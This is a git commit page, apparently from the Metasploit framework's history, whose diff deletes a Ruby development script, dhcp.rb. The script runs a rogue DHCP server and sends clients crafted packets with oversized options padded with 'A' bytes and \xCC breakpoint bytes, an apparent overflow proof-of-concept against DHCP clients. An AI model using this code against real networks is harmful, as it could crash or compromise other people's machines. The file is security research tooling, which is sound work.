* toast
git-svn-id: file:///home/svn/framework3/trunk@3751 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
5c142b2059
commit
03a5a4f787
147
dev/bmc/dhcp.rb
147
dev/bmc/dhcp.rb
|
@ -1,147 +0,0 @@
|
||||||
#!ruby
|
|
||||||
|
|
||||||
require 'socket'
|
|
||||||
|
|
||||||
$port = 67
|
|
||||||
$magic = "\x63\x82\x53\x63"
|
|
||||||
$serverip = '10.50.0.116'
|
|
||||||
|
|
||||||
def respond(message = 'test', dstip = '255.255.255.255')
|
|
||||||
warn "sending response"
|
|
||||||
s = UDPSocket.open
|
|
||||||
s.setsockopt(Socket::SOL_SOCKET, Socket::SO_BROADCAST, 1)
|
|
||||||
s.setsockopt(Socket::SOL_SOCKET, Socket::SO_REUSEADDR, true)
|
|
||||||
s.setsockopt(Socket::SOL_SOCKET, Socket::SO_REUSEPORT, true)
|
|
||||||
s.bind('<any>', 68)
|
|
||||||
s.send(message, 0, dstip, 67)
|
|
||||||
p message.unpack('H*')[0].upcase
|
|
||||||
end
|
|
||||||
|
|
||||||
def packip (ip)
|
|
||||||
return ip.split('.').collect { |i| i.to_i }.pack('CCCC')
|
|
||||||
end
|
|
||||||
|
|
||||||
def packmac (mac)
|
|
||||||
return mac.split(':').pack('H2H2H2H2H2H2')
|
|
||||||
end
|
|
||||||
|
|
||||||
def parse (request)
|
|
||||||
if request.length < 236
|
|
||||||
return
|
|
||||||
end
|
|
||||||
|
|
||||||
transaction = request[4..8].unpack('N')[0]
|
|
||||||
mac = request[28..33].unpack('H2H2H2H2H2H2').join(':')
|
|
||||||
ip = '10.50.0.136'
|
|
||||||
|
|
||||||
begin
|
|
||||||
ip = request[246+ a[246..-1].index("\x32\x04")+2,4].unpack('C*')
|
|
||||||
rescue
|
|
||||||
end
|
|
||||||
return [transaction, mac, ip]
|
|
||||||
end
|
|
||||||
|
|
||||||
def encode (type, value)
|
|
||||||
if (value.length > 255)
|
|
||||||
raise "invalid option"
|
|
||||||
end
|
|
||||||
|
|
||||||
return [type, value.length].pack('CC') + value
|
|
||||||
end
|
|
||||||
|
|
||||||
def offer ( transaction, mac, ip = '10.10.10.12' )
|
|
||||||
|
|
||||||
packet =
|
|
||||||
"\x02\x01\x06\x00" + #Preamble
|
|
||||||
[transaction, 0 ].pack('NN') + # transaction + flags
|
|
||||||
|
|
||||||
packip('0.0.0.0') + # client ip
|
|
||||||
packip(ip) + # server ip
|
|
||||||
packip('172.16.16.1') + # next server IP
|
|
||||||
packip('0.0.0.0') + # relay agent IP
|
|
||||||
|
|
||||||
packmac(mac) + #Client MAC
|
|
||||||
"\x00" * 10 + # chaddr padding
|
|
||||||
"\x00" * (16 * 4) + # server hostname
|
|
||||||
"\x00" * (16 * 8) + # boot filename
|
|
||||||
$magic + # magic cookie
|
|
||||||
encode(0x35, "\x02") + # message type
|
|
||||||
encode(0x36, packip($serverip)) + # Serevr identifier
|
|
||||||
encode(0x33, "\x00\x00\xa8\xc0") + # IP lease time
|
|
||||||
encode(0x01, "\xFF\xFF\x00\x00") + # subnet mask
|
|
||||||
encode(0x0f, "metasploit.com") + # domain name
|
|
||||||
encode(0x03, packip($serverip)) + # router IP
|
|
||||||
encode(0x06, packip($serverip) + packip($serverip)) + # DNS (2 dns servers)
|
|
||||||
encode(0x2c, packip($serverip)) + # netbios name server
|
|
||||||
encode(0x2e, "\x08") + # node type
|
|
||||||
"\xff" # no more options
|
|
||||||
end
|
|
||||||
|
|
||||||
def request ( transaction, mac, ip = '10.10.10.12' )
|
|
||||||
packet =
|
|
||||||
"\x02\x01\x06\x00" + #Preamble
|
|
||||||
[transaction, 0 ].pack('NN') + # transaction + flags
|
|
||||||
|
|
||||||
packip('0.0.0.0') + # client IP
|
|
||||||
|
|
||||||
packip(ip) + # Server IP
|
|
||||||
packip($serverip) + # next server IP
|
|
||||||
packip('0.0.0.0') + # relay agent IP
|
|
||||||
|
|
||||||
packmac(mac) + # client MAC address
|
|
||||||
"\x00" * 10 + # chaddr padding
|
|
||||||
"\x00" * (16 * 4) + # server hostname
|
|
||||||
"\x00" * (16 * 8) + # boot filename
|
|
||||||
$magic + # magic cookie
|
|
||||||
|
|
||||||
encode(0x35, "\x05") +
|
|
||||||
encode(0x36, packip($serverip)) + # server identifier
|
|
||||||
encode(0x33, "\x00\x00\xa8\xc0") + # lease time
|
|
||||||
encode(0x01, packip('255.255.0.0')) + # subnet
|
|
||||||
encode(0x03, packip($serverip)) + # router IP
|
|
||||||
encode(0x06, packip($serverip) + packip($serverip)) + # DNS SERVER
|
|
||||||
encode(0x2c, packip('10.1.1.100')) + # netbios name server
|
|
||||||
encode(0x2e, "\x08") +
|
|
||||||
|
|
||||||
encode(0x0f, "AB" + "A" * 0xfd) +
|
|
||||||
encode(0xfa, ("A" * 0x8f) + ("\xcc" * 0x70)) +
|
|
||||||
encode(0xfa, "\xCC" * 0xff) +
|
|
||||||
encode(0xfa, "\xCC" * 0xff) +
|
|
||||||
encode(0xfa, ("\x01\x0B" * 0x7f) + "\x00")+
|
|
||||||
"\xff"
|
|
||||||
end
|
|
||||||
|
|
||||||
system("arp -da")
|
|
||||||
sThread = Thread.start do # run server in a thread
|
|
||||||
server = UDPSocket.open
|
|
||||||
server.setsockopt(Socket::SOL_SOCKET, Socket::SO_REUSEADDR, true)
|
|
||||||
server.setsockopt(Socket::SOL_SOCKET, Socket::SO_REUSEPORT, true)
|
|
||||||
server.setsockopt(Socket::SOL_SOCKET, Socket::SO_BROADCAST, 1)
|
|
||||||
server.bind('<any>', $port)
|
|
||||||
while (1)
|
|
||||||
request = server.recvfrom(1024)
|
|
||||||
(transaction, mac, ip) = parse(request[0])
|
|
||||||
p ip
|
|
||||||
if !transaction.nil?
|
|
||||||
p 'here1'
|
|
||||||
p mac
|
|
||||||
# if mac == "00:0c:29:d6:d1:62"
|
|
||||||
p 'here2'
|
|
||||||
system("echo arp -s #{ip} #{mac}")
|
|
||||||
system("arp -s #{ip} #{mac}")
|
|
||||||
respond(offer(transaction, mac, ip), ip)
|
|
||||||
sleep(1)
|
|
||||||
respond(request(transaction, mac, ip), ip)
|
|
||||||
# else
|
|
||||||
#p "not right mac!"
|
|
||||||
#end
|
|
||||||
else
|
|
||||||
p "not dhcp"
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
respond()
|
|
||||||
respond()
|
|
||||||
|
|
||||||
sThread.join
|
|
Loading…
Reference in New Issue